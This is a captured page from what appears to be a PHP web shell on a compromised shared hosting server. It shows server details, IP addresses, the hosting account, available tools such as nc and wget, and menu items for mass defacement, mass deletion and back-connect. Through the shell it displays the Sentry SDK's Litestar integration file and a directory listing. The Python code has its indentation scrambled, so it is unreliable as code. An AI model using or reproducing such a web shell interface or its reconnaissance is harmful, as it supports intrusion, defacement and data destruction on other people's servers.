SEC [ taskkeycleaners.com ]

Linux server320.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

LiteSpeed

198.54.121.225 | Your IP: 216.73.216.75

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ opt / hc_python / lib64 / python3.12 / site-packages / sentry_sdk / integrations /

Home Upload Mass Deface Mass Delete Back Connect Info Server

Server Info

Operating System	:	Linux server320.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User / Group	:	3475[taskqalp] / 3378[taskqalp]
PHP Version	:	8.1.34
IP Server	:	198.54.121.225
Your IP	:	216.73.216.75
Storage	:	Total = 69.29 GB, Free = 33.62 GB [48%]
Domains	:	Cant read [ /etc/named.conf ]
Software	:	LiteSpeed
Disable Functions	:	All function is accessible
Useful Functions	:	gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh
Downloader	:	wget, fetch, lynx, links, curl, get, lwp-mirror
CURL : ON \| SSH2 : OFF \| Magic Quotes : OFF \| MySQL : ON \| MSSQL : OFF \| PostgreSQL : ON \| Oracle : OFF
Safe Mode : OFF \| Open Basedir : NONE \| Safe Mode Exec Dir : NONE \| Safe Mode Include Dir : NONE

litestar.py

from collections.abc import Set
from copy import deepcopy

import sentry_sdk
from sentry_sdk.consts import OP
from sentry_sdk.integrations import (
    _DEFAULT_FAILED_REQUEST_STATUS_CODES,
    DidNotEnable,
    Integration,
)
from sentry_sdk.integrations.asgi import SentryAsgiMiddleware
from sentry_sdk.integrations.logging import ignore_logger
from sentry_sdk.scope import should_send_default_pii
from sentry_sdk.tracing import SOURCE_FOR_STYLE, TransactionSource
from sentry_sdk.utils import (
    ensure_integration_enabled,
    event_from_exception,
    transaction_from_function,
)

try:
    from litestar import Litestar, Request  # type: ignore
    from litestar.data_extractors import ConnectionDataExtractor  # type: ignore
    from litestar.exceptions import HTTPException  # type: ignore
    from litestar.handlers.base import BaseRouteHandler  # type: ignore
    from litestar.middleware import DefineMiddleware  # type: ignore
    from litestar.routes.http import HTTPRoute  # type: ignore
except ImportError:
    raise DidNotEnable("Litestar is not installed")

from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from typing import Any, Optional, Union

from litestar.middleware import MiddlewareProtocol
    from litestar.types import (  # type: ignore
        HTTPReceiveMessage,
        HTTPScope,
        Message,
        Middleware,
        Receive,
        Send,
        WebSocketReceiveMessage,
    )
    from litestar.types import (
        Scope as LitestarScope,
    )
    from litestar.types.asgi_types import ASGIApp  # type: ignore

from sentry_sdk._types import Event, Hint

_DEFAULT_TRANSACTION_NAME = "generic Litestar request"

class LitestarIntegration(Integration):
    identifier = "litestar"
    origin = f"auto.http.{identifier}"

def __init__(
        self,
        failed_request_status_codes: "Set[int]" = _DEFAULT_FAILED_REQUEST_STATUS_CODES,
    ) -> None:
        self.failed_request_status_codes = failed_request_status_codes

@staticmethod
    def setup_once() -> None:
        patch_app_init()
        patch_middlewares()
        patch_http_route_handle()

# The following line follows the pattern found in other integrations such as `DjangoIntegration.setup_once`.
        # The Litestar `ExceptionHandlerMiddleware.__call__` catches exceptions and does the following
        # (among other things):
        #   1. Logs them, some at least (such as 500s) as errors
        #   2. Calls after_exception hooks
        # The `LitestarIntegration`` provides an after_exception hook (see `patch_app_init` below) to create a Sentry event
        # from an exception, which ends up being called during step 2 above. However, the Sentry `LoggingIntegration` will
        # by default create a Sentry event from error logs made in step 1 if we do not prevent it from doing so.
        ignore_logger("litestar")

class SentryLitestarASGIMiddleware(SentryAsgiMiddleware):
    def __init__(
        self, app: "ASGIApp", span_origin: str = LitestarIntegration.origin
    ) -> None:
        super().__init__(
            app=app,
            unsafe_context_data=False,
            transaction_style="endpoint",
            mechanism_type="asgi",
            span_origin=span_origin,
            asgi_version=3,
        )

def _capture_request_exception(self, exc: Exception) -> None:
        """Avoid catching exceptions from request handlers.

Those exceptions are already handled in Litestar.after_exception handler.
        We still catch exceptions from application lifespan handlers.
        """
        pass

def patch_app_init() -> None:
    """
    Replaces the Litestar class's `__init__` function in order to inject `after_exception` handlers and set the
    `SentryLitestarASGIMiddleware` as the outmost middleware in the stack.
    See:
    - https://docs.litestar.dev/2/usage/applications.html#after-exception
    - https://docs.litestar.dev/2/usage/middleware/using-middleware.html
    """
    old__init__ = Litestar.__init__

@ensure_integration_enabled(LitestarIntegration, old__init__)
    def injection_wrapper(self: "Litestar", *args: "Any", **kwargs: "Any") -> None:
        kwargs["after_exception"] = [
            exception_handler,
            *(kwargs.get("after_exception") or []),
        ]

middleware = kwargs.get("middleware") or []
        kwargs["middleware"] = [SentryLitestarASGIMiddleware, *middleware]
        old__init__(self, *args, **kwargs)

Litestar.__init__ = injection_wrapper

def patch_middlewares() -> None:
    old_resolve_middleware_stack = BaseRouteHandler.resolve_middleware

@ensure_integration_enabled(LitestarIntegration, old_resolve_middleware_stack)
    def resolve_middleware_wrapper(self: "BaseRouteHandler") -> "list[Middleware]":
        return [
            enable_span_for_middleware(middleware)
            for middleware in old_resolve_middleware_stack(self)
        ]

BaseRouteHandler.resolve_middleware = resolve_middleware_wrapper

def enable_span_for_middleware(middleware: "Middleware") -> "Middleware":
    if (
        not hasattr(middleware, "__call__")  # noqa: B004
        or middleware is SentryLitestarASGIMiddleware
    ):
        return middleware

if isinstance(middleware, DefineMiddleware):
        old_call: "ASGIApp" = middleware.middleware.__call__
    else:
        old_call = middleware.__call__

async def _create_span_call(
        self: "MiddlewareProtocol",
        scope: "LitestarScope",
        receive: "Receive",
        send: "Send",
    ) -> None:
        if sentry_sdk.get_client().get_integration(LitestarIntegration) is None:
            return await old_call(self, scope, receive, send)

middleware_name = self.__class__.__name__
        with sentry_sdk.start_span(
            op=OP.MIDDLEWARE_LITESTAR,
            name=middleware_name,
            origin=LitestarIntegration.origin,
        ) as middleware_span:
            middleware_span.set_tag("litestar.middleware_name", middleware_name)

# Creating spans for the "receive" callback
            async def _sentry_receive(
                *args: "Any", **kwargs: "Any"
            ) -> "Union[HTTPReceiveMessage, WebSocketReceiveMessage]":
                if sentry_sdk.get_client().get_integration(LitestarIntegration) is None:
                    return await receive(*args, **kwargs)
                with sentry_sdk.start_span(
                    op=OP.MIDDLEWARE_LITESTAR_RECEIVE,
                    name=getattr(receive, "__qualname__", str(receive)),
                    origin=LitestarIntegration.origin,
                ) as span:
                    span.set_tag("litestar.middleware_name", middleware_name)
                    return await receive(*args, **kwargs)

receive_name = getattr(receive, "__name__", str(receive))
            receive_patched = receive_name == "_sentry_receive"
            new_receive = _sentry_receive if not receive_patched else receive

# Creating spans for the "send" callback
            async def _sentry_send(message: "Message") -> None:
                if sentry_sdk.get_client().get_integration(LitestarIntegration) is None:
                    return await send(message)
                with sentry_sdk.start_span(
                    op=OP.MIDDLEWARE_LITESTAR_SEND,
                    name=getattr(send, "__qualname__", str(send)),
                    origin=LitestarIntegration.origin,
                ) as span:
                    span.set_tag("litestar.middleware_name", middleware_name)
                    return await send(message)

send_name = getattr(send, "__name__", str(send))
            send_patched = send_name == "_sentry_send"
            new_send = _sentry_send if not send_patched else send

return await old_call(self, scope, new_receive, new_send)

not_yet_patched = old_call.__name__ not in ["_create_span_call"]

if not_yet_patched:
        if isinstance(middleware, DefineMiddleware):
            middleware.middleware.__call__ = _create_span_call
        else:
            middleware.__call__ = _create_span_call

return middleware

def patch_http_route_handle() -> None:
    old_handle = HTTPRoute.handle

async def handle_wrapper(
        self: "HTTPRoute", scope: "HTTPScope", receive: "Receive", send: "Send"
    ) -> None:
        if sentry_sdk.get_client().get_integration(LitestarIntegration) is None:
            return await old_handle(self, scope, receive, send)

sentry_scope = sentry_sdk.get_isolation_scope()
        request: "Request[Any, Any]" = scope["app"].request_class(
            scope=scope, receive=receive, send=send
        )
        extracted_request_data = ConnectionDataExtractor(
            parse_body=True, parse_query=True
        )(request)
        body = extracted_request_data.pop("body")

request_data = await body

def event_processor(event: "Event", _: "Hint") -> "Event":
            route_handler = scope.get("route_handler")

request_info = event.get("request", {})
            request_info["content_length"] = len(scope.get("_body", b""))
            if should_send_default_pii():
                request_info["cookies"] = extracted_request_data["cookies"]
            if request_data is not None:
                request_info["data"] = request_data

func = None
            if route_handler.name is not None:
                tx_name = route_handler.name
            # Accounts for use of type `Ref` in earlier versions of litestar without the need to reference it as a type
            elif hasattr(route_handler.fn, "value"):
                func = route_handler.fn.value
            else:
                func = route_handler.fn
            if func is not None:
                tx_name = transaction_from_function(func)

tx_info = {"source": SOURCE_FOR_STYLE["endpoint"]}

if not tx_name:
                tx_name = _DEFAULT_TRANSACTION_NAME
                tx_info = {"source": TransactionSource.ROUTE}

event.update(
                {
                    "request": deepcopy(request_info),
                    "transaction": tx_name,
                    "transaction_info": tx_info,
                }
            )
            return event

sentry_scope._name = LitestarIntegration.identifier
        sentry_scope.add_event_processor(event_processor)

return await old_handle(self, scope, receive, send)

HTTPRoute.handle = handle_wrapper

def retrieve_user_from_scope(scope: "LitestarScope") -> "Optional[dict[str, Any]]":
    scope_user = scope.get("user")
    if isinstance(scope_user, dict):
        return scope_user
    if hasattr(scope_user, "asdict"):  # dataclasses
        return scope_user.asdict()

return None

@ensure_integration_enabled(LitestarIntegration)
def exception_handler(exc: Exception, scope: "LitestarScope") -> None:
    user_info: "Optional[dict[str, Any]]" = None
    if should_send_default_pii():
        user_info = retrieve_user_from_scope(scope)
    if user_info and isinstance(user_info, dict):
        sentry_scope = sentry_sdk.get_isolation_scope()
        sentry_scope.set_user(user_info)

if isinstance(exc, HTTPException):
        integration = sentry_sdk.get_client().get_integration(LitestarIntegration)
        if (
            integration is not None
            and exc.status_code not in integration.failed_request_status_codes
        ):
            return

event, hint = event_from_exception(
        exc,
        client_options=sentry_sdk.get_client().options,
        mechanism={"type": LitestarIntegration.identifier, "handled": False},
    )

sentry_sdk.capture_event(event, hint=hint)

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
..	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
__pycache__	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
celery	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
django	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
google_genai	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
grpc	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
openai_agents	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
opentelemetry	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
pydantic_ai	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
redis	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
spark	dir	-	root/root	drwxr-xr-x	2026-06-11 07:00:58
__init__.py	text/x-script.python	12.51 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
_asgi_common.py	text/x-script.python	4 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
_wsgi_common.py	text/x-script.python	7.28 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
aiohttp.py	text/x-script.python	19.28 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
aiomysql.py	text/x-script.python	9.09 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
anthropic.py	text/x-script.python	39 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
argv.py	text/x-script.python	876 B	root/root	-rw-r--r--	2026-06-11 07:00:58
ariadne.py	text/x-script.python	5.7 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
arq.py	text/x-script.python	9.23 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
asgi.py	text/plain	20.06 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
asyncio.py	text/x-script.python	9.28 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
asyncpg.py	text/x-script.python	9.68 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
atexit.py	text/x-script.python	1.51 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
aws_lambda.py	text/x-script.python	17.41 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
beam.py	text/x-script.python	4.91 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
boto3.py	text/x-script.python	6.2 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
bottle.py	text/x-script.python	7.21 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
chalice.py	text/x-script.python	4.51 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
clickhouse_driver.py	text/x-script.python	5.85 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
cloud_resource_context.py	text/x-script.python	7.49 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
cohere.py	text/x-script.python	10.44 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
dedupe.py	text/x-script.python	1.86 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
dramatiq.py	text/x-script.python	8.02 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
excepthook.py	text/x-script.python	2.25 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
executing.py	text/x-script.python	1.93 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
falcon.py	text/x-script.python	9.04 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
fastapi.py	text/x-script.python	5.28 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
flask.py	text/x-script.python	8.27 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
gcp.py	text/x-script.python	10.57 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
gnu_backtrace.py	text/x-script.python	2.72 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
gql.py	text/x-script.python	4.93 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
graphene.py	text/x-script.python	5.71 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
httpx.py	text/x-script.python	9.79 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
httpx2.py	text/x-script.python	9.8 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
huey.py	text/x-script.python	8.19 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
huggingface_hub.py	text/x-script.python	15.28 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
langchain.py	text/x-script.python	48.31 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
langgraph.py	text/x-script.python	18.13 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
launchdarkly.py	text/x-script.python	1.87 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
litellm.py	text/x-script.python	13.03 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
litestar.py	text/x-script.python	11.46 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
logging.py	text/x-script.python	15.69 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
loguru.py	text/x-script.python	6.35 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
mcp.py	text/plain	23.12 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
modules.py	text/x-script.python	787 B	root/root	-rw-r--r--	2026-06-11 07:00:58
openai.py	text/x-script.python	53.38 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
openfeature.py	text/x-script.python	1.08 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
otlp.py	text/x-script.python	7.99 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
pure_eval.py	text/x-script.python	4.41 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
pymongo.py	text/x-script.python	8.21 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
pyramid.py	text/x-script.python	7.42 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
pyreqwest.py	text/x-script.python	6.82 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
quart.py	text/x-script.python	7.32 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
ray.py	text/x-script.python	5.75 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
rq.py	text/x-script.python	7.81 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
rust_tracing.py	text/plain	9.44 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
sanic.py	text/x-script.python	15.25 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
serverless.py	text/x-script.python	1.58 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
socket.py	text/x-script.python	5.02 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
sqlalchemy.py	text/x-script.python	5.24 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
starlette.py	text/x-script.python	27.93 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
starlite.py	text/x-script.python	11.04 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
statsig.py	text/x-script.python	1.19 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
stdlib.py	text/x-script.python	14.01 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
strawberry.py	text/x-script.python	17.39 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
sys_exit.py	text/x-script.python	2.35 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
threading.py	text/x-script.python	6.88 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
tornado.py	text/x-script.python	10.79 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
trytond.py	text/x-script.python	1.67 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
typer.py	text/x-script.python	1.72 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
unleash.py	text/x-script.python	1.02 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
unraisablehook.py	text/x-script.python	1.65 KB	root/root	-rw-r--r--	2026-06-11 07:00:58
wsgi.py	text/x-script.python	15.03 KB	root/root	-rw-r--r--	2026-06-11 07:00:58